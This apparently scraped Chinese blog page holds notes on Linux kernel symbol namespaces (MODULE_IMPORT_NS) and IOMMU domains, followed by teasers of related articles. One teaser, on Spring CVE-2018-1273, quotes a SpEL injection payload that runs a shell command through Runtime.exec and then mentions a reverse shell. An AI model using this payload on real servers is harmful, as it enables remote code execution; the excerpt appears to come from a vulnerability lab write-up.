2024/9/19 Notes

news2024/9/24 3:03:54

1. MODULE_IMPORT_NS

当LINUX_KERNEL_CODE >= KERNEL_VERSION(5,4,0), linux引入了namespace来控制内核中symbol引用范围。

比如跟USB Storage相关的一些函数,我们可以直接使用EXPORT_SYMBOL,使所有模块可以可用,也可以EXPORT_SYMBOL_NS(symbol_name, USB_STORAGE),  这样只有使用了MODULE_IMPORT_NS(USB_STORAGE),导入USB_STORAGE namespace后,才能引用symbol_name. 

使用Namespace可以更好地管理symbols,更容易分辨kernel各部分的依赖关系,而且明确的导入某个模块的symbol,也在一定程度上增加了kernel的安全性和稳定性。

2.IOMMU

获取dev所属的iommu domain, 可以通过函数

struct iommu_domain *iommu_get_domain_for_dev(struct device *dev)

得到。 什么是iommu domain, 它有什么用呢?

iommu domain是IOMMU用于将设备在逻辑上进行分组,以管理和隔离不同组设备的内存访问。 属于同一个domain的设备,它们使用同一个地址空间。这个地址空间或者说domain的地址称为IOVA(device-visible virtual addresses). 它们由IOMMU映射到物理内存.

对于PCIE设备而言(Intel架构,所有的设备都属于PCIE设备), 每个域维持了一个元素位root entry的表,每一项root entry代表一个PCIE的总线. root entry 又有一个context entry的表, context entry的每一项代表一个PCIE device的function. 因此root entry 和 context entry 合在一起,就可以唯一指定一个pcie 设备function. 即设备的bdf. context entry指向地址转换表, 将当前域地址,转为物理地址.

3 PCIE的Configuration Space

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2159139.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode 除自身以外数组的乘积

class Solution {public int[] productExceptSelf(int[] nums) {int length nums.length;//一维数组 answer[]存储最终的结果//首先从左往右记录乘积,暂时存储到一维数组 answer[] 中int[] answer new int[length];//先从左往右, 由于由于第一个元素左边没有元素&…

如何在算家云搭建RVC-WebUI(语音转换)

一、Retrieval-based-Voice-Conversion-WebUI简介 Retrieval-based-Voice-Conversion-WebUI(简称 RVC)模型是一个基于 VITS(Variational Inference with adversarial learning for end-to-end Text-to-Speech)的简单易用的语音转…

工业物联网关为工业生产数字化转型赋能-天拓四方

一、引言 在工业4.0的大背景下,工业物联网关成为了制造业转型升级的关键技术之一。它通过连接设备和系统,实现数据的实时采集、处理和传输,从而提升生产效率、降低成本、优化资源配置,并最终推动整个制造业的数字化进程。本文将详…

【AI创作组】工程方向的硕士研究生学习Matlab的路径

1. MATLAB软件概述 1.1 MATLAB发展历程 MATLAB自20世纪70年代诞生以来,已经经历了多次重要的版本更新和功能扩展。 初始版本:MATLAB的前身只是一个简单的交互式矩阵计算器,由Cleve B. Moler博士在1970年代初期开发,目的是为了方便学生和研究人员使用线性代数软件包LINPAC…

面向对象程序设计——mapの简析

1.map的定义 Key就是map底层关键字的类型,T是map底层value的类型,set默认要求Key⽀持⼩于⽐较,如果不⽀持或者需要的话可以⾃⾏实现仿函数传给第⼆个模版参数,map底层存储数据的 内存是从空间配置器申请的。⼀般情况下&#xff0c…

在视频上绘制区域:使用Vue和JavaScript实现交互式画布

在数字时代,交互式媒体内容的创建和消费变得越来越普遍。特别是视频内容,它不仅提供了视觉信息,还允许用户与之互动,从而增强了用户体验。本文将介绍如何使用Vue.js框架和JavaScript创建一个交互式组件,该组件允许用户…

Dify创建自定义工具,调用ASP.NET Core WebAPI时的注意事项(出现错误:Reached maximum retries (3) for URL ...)

1、要配置Swagger using Microsoft.AspNetCore.Mvc; using Microsoft.OpenApi.Models;var builder WebApplication.CreateBuilder(args);builder.Services.AddCors(options > {options.AddPolicy("AllowSpecificOrigin",builder > builder.WithOrigins("…

vcruntime140_1.dll无法继续执行代码的6种解决方法

在计算机编程和软件开发中,我们经常会遇到各种错误和问题。其中,vcruntime140_1.dll无法继续执行代码是一个常见的问题。这个问题可能会导致程序崩溃,影响我们的工作进度。因此,了解这个问题的原因以及如何解决它是非常重要的。 …

LinuxC高级作业4

1.整理思维导图 2.统计家目录下.c文件的个数 #!/bin/bash# 初始化计数器 count0# 使用for循环遍历家目录下的所有文件 for file in ~/*; do# 检查文件是否以.c结尾if [[ $file *.c ]]; then# 如果是.c文件,则计数器加1count$((count 1))fi done# 输出结果 echo &…

AURIX单片机示例:开发入门与点亮LED

文章目录 目的模板工程Blinky_LED示例链接总结 目的 这个例程比较简单,主要通过这个例程来介绍 AURIX™ Development Studio(ADS) 和 iLLD 库来开发 AURIX 系列单片机一些入门的内容。一些更为基础的资料等内容可以参考下面文章: 《英飞凌 AURIX TriCo…

解决ArmDS Fast Models 中部分内核无法上电的问题

【更多软件使用问题请点击亿道电子官方网站】 1、 文档目标 解决ArmDS Fast Models 中部分内核无法上电的问题。 2、 问题场景 在调用ArmDS的Fast Models中的Cortex-A55的模型,只有Core 0是上电状态,而Core 1处于掉电状态,如图2-1所示&…

使用 HFD 加快 Hugging Face 模型和数据集的下载,解决443报错

Hugging Face 提供了丰富的预训练模型和数据集,而且使用 Hugging Face 提供的 from_pretrained() 方法可以轻松加载它们,但是,模型和数据集文件通常体积庞大,用默认方法下载起来非常花时间。 本文将指导你如何使用 HFD&#xff08…

研一奖学金计划2024/9/23有感

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、需要认真上课的1.应用数理统计(开卷考试)2.最优化方法(开卷考试)3.跨文化交际(主题演讲20课堂讨…

【C++算法】分治——快排

颜色分类 题目链接 颜色分类https://leetcode.cn/problems/sort-colors/description/ 算法原理 代码步骤 class Solution { public:void sortColors(vector<int>& nums) {int n nums.size();int i 0, left -1, right n;while(i < right){if(nums[i] 0) s…

OpenBayes 教程上新|让虚拟偶像活起来!LivePortrait 实现超逼真表情迁移

过去&#xff0c;使用单一图像生成动态视频效果需要复杂的动画技术和大量的手工操作。特别是在控制眼睛和嘴唇等细节上&#xff0c;耗时且难以实现逼真的同步效果。 LivePortrait 在最新版本中通过精确的画像编辑和视频编辑等功能&#xff0c;极大地简化了这一过程。创作者可以…

spring 代码执⾏ (CVE-2018-1273)

开启环境后访问 IP/users 抓包修改加上 poc &#xff1a; username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/crz")]&password&repeatedPassword 回到kali docker exec -it 自己的id /bin/bash 反弹shel…

[spring]MyBatis介绍 及 用MyBatis操作简单数据库

文章目录 一. 什么是MyBatis二. MyBatis操作数据库步骤创建工程创建数据库创建对应实体类配置数据库连接字符串写持久层代码单元测试 三. MyBatis基础操作打印日志参数传递增删改查 四. MyBatis XML配置文件配置链接字符串和MyBatis写持久层代码方法定义Interface方法实现xml测…

摩尔-彭罗斯伪逆(pinv)

摩尔-彭罗斯伪逆是一种矩阵&#xff0c;可在不存在逆矩阵的情况下作为逆矩阵的部分替代。此矩阵常被用于求解没有唯一解或有许多解的线性方程组。 对于任何矩阵 A 来说&#xff0c;伪逆 B 都存在&#xff0c;是唯一的&#xff0c;并且具有与 A’ 相同的维度。如果 A 是方阵且非…

fastson与jackson重点笔记(包入门)

一&#xff0c;简介 json: JavaScript Object Notation, JS对象简谱。 官网&#xff1a;JSON官网 二&#xff0c;使用场景 网络传输 ​ 描述同样的信息&#xff0c;json相比xml占用更少的空间, <?xml version"1.0" encoding"uTF-8"?> <pers…

S32K3 工具篇8:如何移植RTD MCAL现有demo到其他K3芯片

S32K3 工具篇8&#xff1a;如何移植RTD MCAL现有demo到其他K3芯片 一&#xff0c;文档简介二 &#xff0c;平台以及移植步骤2.1 平台说明2.2 移植步骤2.2.1 拷贝工程并配置2.2.1.1 拷贝工程2.2.1.2 配置工程 2.2.2 EB 工程配置 三&#xff0c; 命令行编译及其结果测试四&#x…